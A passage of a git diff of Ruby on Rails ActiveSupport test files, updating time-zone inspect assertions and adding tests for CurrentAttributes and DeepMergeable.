+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", twz.advance(months: -1).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", twz.months_ago(1).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", twz.ago(1.month).inspect
+    assert_equal "2006-10-28 10:30:00.000000000 EDT -04:00", (twz - 1.month).inspect
   end
 
   def test_advance_1_year
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2008, 2, 15, 10, 30))
-    assert_equal "Sun, 15 Feb 2009 10:30:00 EST -05:00", twz.advance(years: 1).inspect
-    assert_equal "Sun, 15 Feb 2009 10:30:00 EST -05:00", twz.years_since(1).inspect
-    assert_equal "Sun, 15 Feb 2009 10:30:00 EST -05:00", twz.since(1.year).inspect
-    assert_equal "Sun, 15 Feb 2009 10:30:00 EST -05:00", twz.in(1.year).inspect
-    assert_equal "Sun, 15 Feb 2009 10:30:00 EST -05:00", (twz + 1.year).inspect
-    assert_equal "Thu, 15 Feb 2007 10:30:00 EST -05:00", twz.advance(years: -1).inspect
-    assert_equal "Thu, 15 Feb 2007 10:30:00 EST -05:00", twz.years_ago(1).inspect
-    assert_equal "Thu, 15 Feb 2007 10:30:00 EST -05:00", (twz - 1.year).inspect
+    assert_equal "2009-02-15 10:30:00.000000000 EST -05:00", twz.advance(years: 1).inspect
+    assert_equal "2009-02-15 10:30:00.000000000 EST -05:00", twz.years_since(1).inspect
+    assert_equal "2009-02-15 10:30:00.000000000 EST -05:00", twz.since(1.year).inspect
+    assert_equal "2009-02-15 10:30:00.000000000 EST -05:00", twz.in(1.year).inspect
+    assert_equal "2009-02-15 10:30:00.000000000 EST -05:00", (twz + 1.year).inspect
+    assert_equal "2007-02-15 10:30:00.000000000 EST -05:00", twz.advance(years: -1).inspect
+    assert_equal "2007-02-15 10:30:00.000000000 EST -05:00", twz.years_ago(1).inspect
+    assert_equal "2007-02-15 10:30:00.000000000 EST -05:00", (twz - 1.year).inspect
   end
 
   def test_advance_1_year_during_dst
     twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2008, 7, 15, 10, 30))
-    assert_equal "Wed, 15 Jul 2009 10:30:00 EDT -04:00", twz.advance(years: 1).inspect
-    assert_equal "Wed, 15 Jul 2009 10:30:00 EDT -04:00", twz.years_since(1).inspect
-    assert_equal "Wed, 15 Jul 2009 10:30:00 EDT -04:00", twz.since(1.year).inspect
-    assert_equal "Wed, 15 Jul 2009 10:30:00 EDT -04:00", twz.in(1.year).inspect
-    assert_equal "Wed, 15 Jul 2009 10:30:00 EDT -04:00", (twz + 1.year).inspect
-    assert_equal "Sun, 15 Jul 2007 10:30:00 EDT -04:00", twz.advance(years: -1).inspect
-    assert_equal "Sun, 15 Jul 2007 10:30:00 EDT -04:00", twz.years_ago(1).inspect
-    assert_equal "Sun, 15 Jul 2007 10:30:00 EDT -04:00", (twz - 1.year).inspect
+    assert_equal "2009-07-15 10:30:00.000000000 EDT -04:00", twz.advance(years: 1).inspect
+    assert_equal "2009-07-15 10:30:00.000000000 EDT -04:00", twz.years_since(1).inspect
+    assert_equal "2009-07-15 10:30:00.000000000 EDT -04:00", twz.since(1.year).inspect
+    assert_equal "2009-07-15 10:30:00.000000000 EDT -04:00", twz.in(1.year).inspect
+    assert_equal "2009-07-15 10:30:00.000000000 EDT -04:00", (twz + 1.year).inspect
+    assert_equal "2007-07-15 10:30:00.000000000 EDT -04:00", twz.advance(years: -1).inspect
+    assert_equal "2007-07-15 10:30:00.000000000 EDT -04:00", twz.years_ago(1).inspect
+    assert_equal "2007-07-15 10:30:00.000000000 EDT -04:00", (twz - 1.year).inspect
   end
 
   def test_no_method_error_has_proper_context
-    rubinius_skip "Error message inconsistency"
-
     e = assert_raises(NoMethodError) {
       @twz.this_method_does_not_exist
     }
-    assert_equal "undefined method `this_method_does_not_exist' for Fri, 31 Dec 1999 19:00:00 EST -05:00:Time", e.message
+    assert_match(/undefined method [`']this_method_does_not_exist' for.*ActiveSupport::TimeWithZone/, e.message)
     assert_no_match "rescue", e.backtrace.first
   end
 end
@@ -976,12 +1096,12 @@ def teardown
 
   def test_in_time_zone
     Time.use_zone "Alaska" do
-      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @t.in_time_zone.inspect
-      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @dt.in_time_zone.inspect
+      assert_equal "1999-12-31 15:00:00.000000000 AKST -09:00", @t.in_time_zone.inspect
+      assert_equal "1999-12-31 15:00:00.000000000 AKST -09:00", @dt.in_time_zone.inspect
     end
     Time.use_zone "Hawaii" do
-      assert_equal "Fri, 31 Dec 1999 14:00:00 HST -10:00", @t.in_time_zone.inspect
-      assert_equal "Fri, 31 Dec 1999 14:00:00 HST -10:00", @dt.in_time_zone.inspect
+      assert_equal "1999-12-31 14:00:00.000000000 HST -10:00", @t.in_time_zone.inspect
+      assert_equal "1999-12-31 14:00:00.000000000 HST -10:00", @dt.in_time_zone.inspect
     end
     Time.use_zone nil do
       assert_equal @t, @t.in_time_zone
@@ -991,20 +1111,20 @@ def test_in_time_zone
 
   def test_nil_time_zone
     Time.use_zone nil do
-      assert !@t.in_time_zone.respond_to?(:period), "no period method"
-      assert !@dt.in_time_zone.respond_to?(:period), "no period method"
+      assert_not_respond_to @t.in_time_zone, :period, "no period method"
+      assert_not_respond_to @dt.in_time_zone, :period, "no period method"
     end
   end
 
   def test_in_time_zone_with_argument
     Time.use_zone "Eastern Time (US & Canada)" do # Time.zone will not affect #in_time_zone(zone)
-      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @t.in_time_zone("Alaska").inspect
-      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @dt.in_time_zone("Alaska").inspect
-      assert_equal "Fri, 31 Dec 1999 14:00:00 HST -10:00", @t.in_time_zone("Hawaii").inspect
-      assert_equal "Fri, 31 Dec 1999 14:00:00 HST -10:00", @dt.in_time_zone("Hawaii").inspect
-      assert_equal "Sat, 01 Jan 2000 00:00:00 UTC +00:00", @t.in_time_zone("UTC").inspect
-      assert_equal "Sat, 01 Jan 2000 00:00:00 UTC +00:00", @dt.in_time_zone("UTC").inspect
-      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @t.in_time_zone(-9.hours).inspect
+      assert_equal "1999-12-31 15:00:00.000000000 AKST -09:00", @t.in_time_zone("Alaska").inspect
+      assert_equal "1999-12-31 15:00:00.000000000 AKST -09:00", @dt.in_time_zone("Alaska").inspect
+      assert_equal "1999-12-31 14:00:00.000000000 HST -10:00", @t.in_time_zone("Hawaii").inspect
+      assert_equal "1999-12-31 14:00:00.000000000 HST -10:00", @dt.in_time_zone("Hawaii").inspect
+      assert_equal "2000-01-01 00:00:00.000000000 UTC +00:00", @t.in_time_zone("UTC").inspect
+      assert_equal "2000-01-01 00:00:00.000000000 UTC +00:00", @dt.in_time_zone("UTC").inspect
+      assert_equal "1999-12-31 15:00:00.000000000 AKST -09:00", @t.in_time_zone(-9.hours).inspect
     end
   end
 
@@ -1020,7 +1140,7 @@ def test_in_time_zone_with_invalid_argument
   def test_in_time_zone_with_time_local_instance
     with_env_tz "US/Eastern" do
       time = Time.local(1999, 12, 31, 19) # == Time.utc(2000)
-      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", time.in_time_zone("Alaska").inspect
+      assert_equal "1999-12-31 15:00:00.000000000 AKST -09:00", time.in_time_zone("Alaska").inspect
     end
   end
 
@@ -1048,11 +1168,18 @@ def test_use_zone_with_exception_raised
   def test_use_zone_raises_on_invalid_timezone
     Time.zone = "Alaska"
     assert_raise ArgumentError do
-      Time.use_zone("No such timezone exists") {}
+      Time.use_zone("No such timezone exists") { }
     end
     assert_equal ActiveSupport::TimeZone["Alaska"], Time.zone
   end
 
+  def test_time_at_precision
+    Time.use_zone "UTC" do
+      time = "2019-01-01 00:00:00Z".to_time.end_of_month
+      assert_equal Time.at(time), Time.at(time.in_time_zone)
+    end
+  end
+
   def test_time_zone_getter_and_setter
     Time.zone = ActiveSupport::TimeZone["Alaska"]
     assert_equal ActiveSupport::TimeZone["Alaska"], Time.zone
@@ -1078,13 +1205,11 @@ def test_time_zone_getter_and_setter_with_zone_default_set
 
   def test_time_zone_setter_is_thread_safe
     Time.use_zone "Paris" do
-      t1 = Thread.new { Time.zone = "Alaska" }.join
-      t2 = Thread.new { Time.zone = "Hawaii" }.join
-      assert t1.stop?, "Thread 1 did not finish running"
-      assert t2.stop?, "Thread 2 did not finish running"
+      t1 = Thread.new { Time.zone = "Alaska"; Time.zone }
+      t2 = Thread.new { Time.zone = "Hawaii"; Time.zone }
       assert_equal ActiveSupport::TimeZone["Paris"], Time.zone
-      assert_equal ActiveSupport::TimeZone["Alaska"], t1[:time_zone]
-      assert_equal ActiveSupport::TimeZone["Hawaii"], t2[:time_zone]
+      assert_equal ActiveSupport::TimeZone["Alaska"], t1.value
+      assert_equal ActiveSupport::TimeZone["Hawaii"], t2.value
     end
   end
 
@@ -1118,9 +1243,19 @@ def test_find_zone_without_bang_returns_nil_if_time_zone_can_not_be_found
   end
 
   def test_find_zone_with_bang_raises_if_time_zone_can_not_be_found
-    assert_raise(ArgumentError) { Time.find_zone!("No such timezone exists") }
-    assert_raise(ArgumentError) { Time.find_zone!(-15.hours) }
-    assert_raise(ArgumentError) { Time.find_zone!(Object.new) }
+    error = assert_raise(ArgumentError) { Time.find_zone!("No such timezone exists") }
+    assert_equal "Invalid Timezone: No such timezone exists", error.message
+
+    error = assert_raise(ArgumentError) { Time.find_zone!(-15.hours) }
+    assert_equal "Invalid Timezone: -54000", error.message
+
+    error = assert_raise(ArgumentError) { Time.find_zone!(Object.new) }
+    assert_match "invalid argument to TimeZone[]", error.message
+  end
+
+  def test_find_zone_with_bang_doesnt_raises_with_nil_and_false
+    assert_nil Time.find_zone!(nil)
+    assert_equal false, Time.find_zone!(false)
   end
 
   def test_time_zone_setter_with_find_zone_without_bang
@@ -1168,10 +1303,10 @@ def setup
 
   def test_in_time_zone
     with_tz_default "Alaska" do
-      assert_equal "Sat, 01 Jan 2000 00:00:00 AKST -09:00", @d.in_time_zone.inspect
+      assert_equal "2000-01-01 00:00:00.000000000 AKST -09:00", @d.in_time_zone.inspect
     end
     with_tz_default "Hawaii" do
-      assert_equal "Sat, 01 Jan 2000 00:00:00 HST -10:00", @d.in_time_zone.inspect
+      assert_equal "2000-01-01 00:00:00.000000000 HST -10:00", @d.in_time_zone.inspect
     end
     with_tz_default nil do
       assert_equal @d.to_time, @d.in_time_zone
@@ -1180,16 +1315,16 @@ def test_in_time_zone
 
   def test_nil_time_zone
     with_tz_default nil do
-      assert !@d.in_time_zone.respond_to?(:period), "no period method"
+      assert_not_respond_to @d.in_time_zone, :period, "no period method"
     end
   end
 
   def test_in_time_zone_with_argument
     with_tz_default "Eastern Time (US & Canada)" do # Time.zone will not affect #in_time_zone(zone)
-      assert_equal "Sat, 01 Jan 2000 00:00:00 AKST -09:00", @d.in_time_zone("Alaska").inspect
-      assert_equal "Sat, 01 Jan 2000 00:00:00 HST -10:00", @d.in_time_zone("Hawaii").inspect
-      assert_equal "Sat, 01 Jan 2000 00:00:00 UTC +00:00", @d.in_time_zone("UTC").inspect
-      assert_equal "Sat, 01 Jan 2000 00:00:00 AKST -09:00", @d.in_time_zone(-9.hours).inspect
+      assert_equal "2000-01-01 00:00:00.000000000 AKST -09:00", @d.in_time_zone("Alaska").inspect
+      assert_equal "2000-01-01 00:00:00.000000000 HST -10:00", @d.in_time_zone("Hawaii").inspect
+      assert_equal "2000-01-01 00:00:00.000000000 UTC +00:00", @d.in_time_zone("UTC").inspect
+      assert_equal "2000-01-01 00:00:00.000000000 AKST -09:00", @d.in_time_zone(-9.hours).inspect
     end
   end
 
@@ -1211,14 +1346,14 @@ def setup
 
   def test_in_time_zone
     with_tz_default "Alaska" do
-      assert_equal "Sat, 01 Jan 2000 00:00:00 AKST -09:00", @s.in_time_zone.inspect
-      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @u.in_time_zone.inspect
-      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @z.in_time_zone.inspect
+      assert_equal "2000-01-01 00:00:00.000000000 AKST -09:00", @s.in_time_zone.inspect
+      assert_equal "1999-12-31 15:00:00.000000000 AKST -09:00", @u.in_time_zone.inspect
+      assert_equal "1999-12-31 15:00:00.000000000 AKST -09:00", @z.in_time_zone.inspect
     end
     with_tz_default "Hawaii" do
-      assert_equal "Sat, 01 Jan 2000 00:00:00 HST -10:00", @s.in_time_zone.inspect
-      assert_equal "Fri, 31 Dec 1999 14:00:00 HST -10:00", @u.in_time_zone.inspect
-      assert_equal "Fri, 31 Dec 1999 14:00:00 HST -10:00", @z.in_time_zone.inspect
+      assert_equal "2000-01-01 00:00:00.000000000 HST -10:00", @s.in_time_zone.inspect
+      assert_equal "1999-12-31 14:00:00.000000000 HST -10:00", @u.in_time_zone.inspect
+      assert_equal "1999-12-31 14:00:00.000000000 HST -10:00", @z.in_time_zone.inspect
     end
     with_tz_default nil do
       assert_equal @s.to_time, @s.in_time_zone
@@ -1229,26 +1364,26 @@ def test_in_time_zone
 
   def test_nil_time_zone
     with_tz_default nil do
-      assert !@s.in_time_zone.respond_to?(:period), "no period method"
-      assert !@u.in_time_zone.respond_to?(:period), "no period method"
-      assert !@z.in_time_zone.respond_to?(:period), "no period method"
+      assert_not_respond_to @s.in_time_zone, :period, "no period method"
+      assert_not_respond_to @u.in_time_zone, :period, "no period method"
+      assert_not_respond_to @z.in_time_zone, :period, "no period method"
     end
   end
 
   def test_in_time_zone_with_argument
     with_tz_default "Eastern Time (US & Canada)" do # Time.zone will not affect #in_time_zone(zone)
-      assert_equal "Sat, 01 Jan 2000 00:00:00 AKST -09:00", @s.in_time_zone("Alaska").inspect
-      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @u.in_time_zone("Alaska").inspect
-      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @z.in_time_zone("Alaska").inspect
-      assert_equal "Sat, 01 Jan 2000 00:00:00 HST -10:00", @s.in_time_zone("Hawaii").inspect
-      assert_equal "Fri, 31 Dec 1999 14:00:00 HST -10:00", @u.in_time_zone("Hawaii").inspect
-      assert_equal "Fri, 31 Dec 1999 14:00:00 HST -10:00", @z.in_time_zone("Hawaii").inspect
-      assert_equal "Sat, 01 Jan 2000 00:00:00 UTC +00:00", @s.in_time_zone("UTC").inspect
-      assert_equal "Sat, 01 Jan 2000 00:00:00 UTC +00:00", @u.in_time_zone("UTC").inspect
-      assert_equal "Sat, 01 Jan 2000 00:00:00 UTC +00:00", @z.in_time_zone("UTC").inspect
-      assert_equal "Sat, 01 Jan 2000 00:00:00 AKST -09:00", @s.in_time_zone(-9.hours).inspect
-      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @u.in_time_zone(-9.hours).inspect
-      assert_equal "Fri, 31 Dec 1999 15:00:00 AKST -09:00", @z.in_time_zone(-9.hours).inspect
+      assert_equal "2000-01-01 00:00:00.000000000 AKST -09:00", @s.in_time_zone("Alaska").inspect
+      assert_equal "1999-12-31 15:00:00.000000000 AKST -09:00", @u.in_time_zone("Alaska").inspect
+      assert_equal "1999-12-31 15:00:00.000000000 AKST -09:00", @z.in_time_zone("Alaska").inspect
+      assert_equal "2000-01-01 00:00:00.000000000 HST -10:00", @s.in_time_zone("Hawaii").inspect
+      assert_equal "1999-12-31 14:00:00.000000000 HST -10:00", @u.in_time_zone("Hawaii").inspect
+      assert_equal "1999-12-31 14:00:00.000000000 HST -10:00", @z.in_time_zone("Hawaii").inspect
+      assert_equal "2000-01-01 00:00:00.000000000 UTC +00:00", @s.in_time_zone("UTC").inspect
+      assert_equal "2000-01-01 00:00:00.000000000 UTC +00:00", @u.in_time_zone("UTC").inspect
+      assert_equal "2000-01-01 00:00:00.000000000 UTC +00:00", @z.in_time_zone("UTC").inspect
+      assert_equal "2000-01-01 00:00:00.000000000 AKST -09:00", @s.in_time_zone(-9.hours).inspect
+      assert_equal "1999-12-31 15:00:00.000000000 AKST -09:00", @u.in_time_zone(-9.hours).inspect
+      assert_equal "1999-12-31 15:00:00.000000000 AKST -09:00", @z.in_time_zone(-9.hours).inspect
     end
   end
 
@@ -1263,4 +1398,10 @@ def test_in_time_zone_with_invalid_argument
     assert_raise(ArgumentError) { @u.in_time_zone(Object.new) }
     assert_raise(ArgumentError) { @z.in_time_zone(Object.new) }
   end
+
+  def test_in_time_zone_with_ambiguous_time
+    with_tz_default "Moscow" do
+      assert_equal Time.utc(2014, 10, 25, 22, 0, 0), "2014-10-26 01:00:00".in_time_zone
+    end
+  end
 end
diff --git a/activesupport/test/core_ext/uri_ext_test.rb b/activesupport/test/core_ext/uri_ext_test.rb
deleted file mode 100644
index 0f13ca9c0e797..0000000000000
--- a/activesupport/test/core_ext/uri_ext_test.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-require "abstract_unit"
-require "uri"
-require "active_support/core_ext/uri"
-
-class URIExtTest < ActiveSupport::TestCase
-  def test_uri_decode_handle_multibyte
-    str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese.
-
-    parser = URI.parser
-    assert_equal str, parser.unescape(parser.escape(str))
-  end
-end
diff --git a/activesupport/test/current_attributes_test.rb b/activesupport/test/current_attributes_test.rb
new file mode 100644
index 0000000000000..fdcfbe0cb7e24
--- /dev/null
+++ b/activesupport/test/current_attributes_test.rb
@@ -0,0 +1,353 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "active_support/current_attributes/test_helper"
+
+class CurrentAttributesTest < ActiveSupport::TestCase
+  # CurrentAttributes is automatically reset in Rails app via executor hooks set in railtie
+  # But not in Active Support's own test suite.
+  include ActiveSupport::CurrentAttributes::TestHelper
+
+  Person = Struct.new(:id, :name, :time_zone)
+
+  class Current < ActiveSupport::CurrentAttributes
+    attribute :counter_integer, default: 0
+    attribute :counter_callable, default: -> { 0 }
+    attribute :world, :account, :person, :request
+    delegate :time_zone, to: :person
+
+    before_reset { Session.previous = person&.id }
+
+    resets do
+      Session.current = nil
+    end
+
+    resets :clear_time_zone
+
+    def account=(account)
+      super
+      self.person = Person.new(1, "#{account}'s person")
+    end
+
+    def person=(person)
+      super
+      Time.zone = person&.time_zone
+      Session.current = person&.id
+    end
+
+    def set_world_and_account(world:, account:)
+      self.world = world
+      self.account = account
+    end
+
+    def get_world_and_account(hash)
+      hash[:world] = world
+      hash[:account] = account
+      hash
+    end
+
+    def respond_to_test; end
+
+    def request
+      "#{super} something"
+    end
+
+    def intro
+      "#{person.name}, in #{time_zone}"
+    end
+
+    private
+      def clear_time_zone
+        Time.zone = "UTC"
+      end
+  end
+
+  class Session < ActiveSupport::CurrentAttributes
+    attribute :current, :previous
+  end
+
+  # Use library specific minitest hook to catch Time.zone before reset is called via TestHelper
+  def before_setup
+    @original_time_zone = Time.zone
+    super
+  end
+
+  # Use library specific minitest hook to set Time.zone after reset is called via TestHelper
+  def after_teardown
+    super
+    Time.zone = @original_time_zone
+  end
+
+  setup { assert_nil Session.previous, "Expected Session to not have leaked state" }
+
+  test "read and write attribute" do
+    Current.world = "world/1"
+    assert_equal "world/1", Current.world
+  end
+
+  test "read and write attribute with default value" do
+    assert_equal 0, Current.counter_integer
+
+    Current.counter_integer += 1
+
+    assert_equal 1, Current.counter_integer
+
+    Current.reset
+
+    assert_equal 0, Current.counter_integer
+  end
+
+  test "read attribute with default callable" do
+    assert_equal 0, Current.counter_callable
+
+    Current.counter_callable += 1
+
+    assert_equal 1, Current.counter_callable
+
+    Current.reset
+
+    assert_equal 0, Current.counter_callable
+  end
+
+  test "read overwritten attribute method" do
+    Current.request = "request/1"
+    assert_equal "request/1 something", Current.request
+  end
+
+  test "set attribute via overwritten method" do
+    Current.account = "account/1"
+    assert_equal "account/1", Current.account
+    assert_equal "account/1's person", Current.person.name
+  end
+
+  test "set auxiliary class via overwritten method" do
+    Current.person = Person.new(42, "David", "Central Time (US & Canada)")
+    assert_equal "Central Time (US & Canada)", Time.zone.name
+    assert_equal 42, Session.current
+  end
+
+  test "resets auxiliary classes via callback" do
+    Current.person = Person.new(42, "David", "Central Time (US & Canada)")
+    assert_equal "Central Time (US & Canada)", Time.zone.name
+
+    Current.reset
+    assert_equal "UTC", Time.zone.name
+    assert_equal 42, Session.previous
+    assert_nil Session.current
+  end
+
+  test "set auxiliary class based on current attributes via before callback" do
+    Current.person = Person.new(42, "David", "Central Time (US & Canada)")
+    assert_nil Session.previous
+    assert_equal 42, Session.current
+
+    Current.reset
+    assert_equal 42, Session.previous
+    assert_nil Session.current
+  end
+
+  test "set attribute only via scope" do
+    Current.world = "world/1"
+
+    Current.set(world: "world/2") do
+      assert_equal "world/2", Current.world
+    end
+
+    assert_equal "world/1", Current.world
+  end
+
+  test "set multiple attributes" do
+    Current.world = "world/1"
+    Current.account = "account/1"
+
+    Current.set(world: "world/2", account: "account/2") do
+      assert_equal "world/2", Current.world
+      assert_equal "account/2", Current.account
+    end
+
+    assert_equal "world/1", Current.world
+    assert_equal "account/1", Current.account
+
+    hash = { world: "world/2", account: "account/2" }
+    Current.set(hash) do
+      assert_equal "world/2", Current.world
+      assert_equal "account/2", Current.account
+    end
+  end
+
+  test "using keyword arguments" do
+    Current.set_world_and_account(world: "world/1", account: "account/1")
+
+    assert_equal "world/1", Current.world
+    assert_equal "account/1", Current.account
+
+    hash = {}
+    assert_same hash, Current.get_world_and_account(hash)
+    assert_equal "world/1", hash[:world]
+    assert_equal "account/1", hash[:account]
+  end
+
+  setup { @testing_teardown = false }
+  teardown { assert_equal 42, Session.current if @testing_teardown }
+
+  test "accessing attributes in teardown" do
+    Session.current = 42
+    @testing_teardown = true
+  end
+
+  test "delegation" do
+    Current.person = Person.new(42, "David", "Central Time (US & Canada)")
+    assert_equal "Central Time (US & Canada)", Current.time_zone
+    assert_equal "Central Time (US & Canada)", Current.instance.time_zone
+  end
+
+  test "all methods forward to the instance" do
+    Current.person = Person.new(42, "David", "Central Time (US & Canada)")
+    assert_equal "David, in Central Time (US & Canada)", Current.intro
+    assert_equal "David, in Central Time (US & Canada)", Current.instance.intro
+  end
+
+  test "respond_to? for methods that have not been called" do
+    assert_equal true, Current.respond_to?("respond_to_test")
+  end
+
+  test "CurrentAttributes defaults do not leak between classes" do
+    Class.new(ActiveSupport::CurrentAttributes) { attribute :counter_integer, default: 100 }
+    Current.reset
+
+    assert_equal 0, Current.counter_integer
+  end
+
+  test "CurrentAttributes use fiber-local variables" do
+    previous_level = ActiveSupport::IsolatedExecutionState.isolation_level
+    ActiveSupport::IsolatedExecutionState.isolation_level = :fiber
+
+    Session.current = 42
+    enumerator = Enumerator.new do |yielder|
+      yielder.yield Session.current
+    end
+    assert_nil enumerator.next
+  ensure
+    ActiveSupport::IsolatedExecutionState.isolation_level = previous_level
+  end
+
+  test "CurrentAttributes can use thread-local variables" do
+    previous_level = ActiveSupport::IsolatedExecutionState.isolation_level
+    ActiveSupport::IsolatedExecutionState.isolation_level = :thread
+
+    Session.current = 42
+    enumerator = Enumerator.new do |yielder|
+      yielder.yield Session.current
+    end
+    assert_equal 42, enumerator.next
+  ensure
+    ActiveSupport::IsolatedExecutionState.isolation_level = previous_level
+  end
+
+  test "CurrentAttributes doesn't populate #attributes when not using defaults" do
+    assert_equal({ counter_integer: 0, counter_callable: 0 }, Current.attributes)
+  end
+
+  test "#attributes returns different objects each time" do
+    assert_not_same Current.attributes, Current.attributes
+  end
+
+  test "CurrentAttributes restricted attribute names" do
+    assert_raises ArgumentError, match: /Restricted attribute names: reset, set/ do
+      class InvalidAttributeNames < ActiveSupport::CurrentAttributes
+        attribute :reset, :foo, :set
+      end
+    end
+  end
+
+  test "method_added hook doesn't reach the instance. Fix for #54646" do
+    current = Class.new(ActiveSupport::CurrentAttributes) do
+      def self.name
+        "MyCurrent"
+      end
+
+      def foo; end # Sets the cache because of a `method_added` hook
+
+      attribute :bar, default: {}
+    end
+
+    assert_instance_of(Hash, current.bar)
+  end
+
+  test "instance delegators are eagerly defined" do
+    current = Class.new(ActiveSupport::CurrentAttributes) do
+      def self.name
+        "MyCurrent"
+      end
+
+      def regular
+        :regular
+      end
+
+      attribute :attr, default: :att
+    end
+
+    assert current.singleton_class.method_defined?(:attr)
+    assert current.singleton_class.method_defined?(:attr=)
+    assert current.singleton_class.method_defined?(:regular)
+  end
+
+  test "attribute delegators have precise signature" do
+    current = Class.new(ActiveSupport::CurrentAttributes) do
+      def self.name
+        "MyCurrent"
+      end
+
+      attribute :attr, default: :att
+    end
+
+    assert_equal [], current.method(:attr).parameters
+    assert_equal [[:req, :value]], current.method(:attr=).parameters
+  end
+
+
+  test "set and restore attributes when re-entering the executor" do
+    ActiveSupport::ExecutionContext.with(nestable: true) do
+      # simulate executor hooks from active_support/railtie.rb
+      executor = Class.new(ActiveSupport::Executor)
+      executor.to_run do
+        ActiveSupport::ExecutionContext.push
+      end
+
+      executor.to_complete do
+        ActiveSupport::CurrentAttributes.clear_all
+        ActiveSupport::ExecutionContext.pop
+      end
+
+      Current.world = "world/1"
+      Current.account = "account/1"
+
+      assert_equal "world/1", Current.world
+      assert_equal "account/1", Current.account
+
+      Current.set(world: "world/2", account: "account/2") do
+        assert_equal "world/2", Current.world
+        assert_equal "account/2", Current.account
+
+        executor.wrap do
+          assert_nil Current.world
+          assert_nil Current.account
+
+          Current.world = "world/3"
+          Current.account = "account/3"
+
+          assert_equal "world/3", Current.world
+          assert_equal "account/3", Current.account
+
+          ActiveSupport::CurrentAttributes.clear_all
+
+          assert_nil Current.world
+          assert_nil Current.account
+        end
+      end
+
+      assert_equal "world/1", Current.world
+      assert_equal "account/1", Current.account
+    end
+  end
+end
diff --git a/activesupport/test/deep_mergeable_test.rb b/activesupport/test/deep_mergeable_test.rb
new file mode 100644
index 0000000000000..521ce61e6c472
--- /dev/null
+++ b/activesupport/test/deep_mergeable_test.rb
@@ -0,0 +1,98 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+
+class DeepMergeableTest < ActiveSupport::TestCase
+  Wrapper = Struct.new(:underlying) do
+    include ActiveSupport::DeepMergeable
+
+    class << self
+      remove_method :[]
+
+      def [](value)
+        if value.is_a?(Hash)
+          self.new(value.transform_values { |value| self[value] })
+        else
+          value
+        end
+      end
+    end
+
+    delegate :[], to: :underlying
+
+    def merge!(other, &block)
+      self.underlying = underlying.merge(other.underlying, &block)
+      self
+    end
+  end
+
+  SubWrapper = Class.new(Wrapper)
+
+  OtherWrapper = Wrapper.dup
+
+  OmniWrapper = Class.new(Wrapper) do
+    def deep_merge?(other)
+      super || other.is_a?(OtherWrapper)
+    end
+  end
+
+  setup do
+    @hash_1 = { a: 1, b: 1, c: { d1: 1, d2: 1, d3: { e1: 1,        e3: 1 } } }
+    @hash_2 = { a: 2,       c: {        d2: 2, d3: {        e2: 2, e3: 2 } } }
+    @merged = { a: 2, b: 1, c: { d1: 1, d2: 2, d3: { e1: 1, e2: 2, e3: 2 } } }
+    @summed = { a: 3, b: 1, c: { d1: 1, d2: 3, d3: { e1: 1, e2: 2, e3: 3 } } }
+
+    @nested_value_key = :c
+    @sum_values = -> (key, value_1, value_2) { value_1 + value_2 }
+  end
+
+  test "deep_merge works" do
+    assert_equal Wrapper[@merged], Wrapper[@hash_1].deep_merge(Wrapper[@hash_2])
+  end
+
+  test "deep_merge! works" do
+    assert_equal Wrapper[@merged], Wrapper[@hash_1].deep_merge!(Wrapper[@hash_2])
+  end
+
+  test "deep_merge supports a merge block" do
+    assert_equal Wrapper[@summed], Wrapper[@hash_1].deep_merge(Wrapper[@hash_2], &@sum_values)
+  end
+
+  test "deep_merge! supports a merge block" do
+    assert_equal Wrapper[@summed], Wrapper[@hash_1].deep_merge!(Wrapper[@hash_2], &@sum_values)
+  end
+
+  test "deep_merge does not mutate the instance" do
+    instance = Wrapper[@hash_1.dup]
+    instance.deep_merge(Wrapper[@hash_2])
+    assert_equal Wrapper[@hash_1], instance
+  end
+
+  test "deep_merge! mutates the instance" do
+    instance = Wrapper[@hash_1]
+    instance.deep_merge!(Wrapper[@hash_2])
+    assert_equal Wrapper[@merged], instance
+  end
+
+  test "deep_merge! does not mutate the underlying values" do
+    instance = Wrapper[@hash_1.dup]
+    underlying = instance.underlying
+    instance.deep_merge!(Wrapper[@hash_2])
+    assert_equal Wrapper[@hash_1].underlying, underlying
+  end
+
+  test "deep_merge deep merges subclass values by default" do
+    nested_value = Wrapper[@hash_1].deep_merge(SubWrapper[@hash_2])[@nested_value_key]
+    assert_equal Wrapper[@merged][@nested_value_key], nested_value
+  end
+
+  test "deep_merge does not deep merge non-subclass values by default" do
+    nested_value = Wrapper[@hash_1].deep_merge(OtherWrapper[@hash_2])[@nested_value_key]
+    assert_equal OtherWrapper[@hash_2][@nested_value_key], nested_value
+  end
+
+  test "deep_merge? can be overridden to allow deep merging of non-subclass values" do
+    nested_value = OmniWrapper[@hash_1].deep_merge(OtherWrapper[@hash_2])[@nested_value_key]
+    assert_equal OmniWrapper[@merged][@nested_value_key], nested_value
+  end
+end
diff --git a/activesupport/test/dependencies/check_warnings.rb b/activesupport/test/dependencies/check_warnings.rb
index 03c3dca1d62bf..f7d7d2dbc71c0 100644
--- a/activesupport/test/dependencies/check_warnings.rb
+++ b/activesupport/test/dependencies/check_warnings.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 $check_warnings_load_count += 1
 $checked_verbose = $VERBOSE
diff --git a/activesupport/test/dependencies/conflict.rb b/activesupport/test/dependencies/conflict.rb
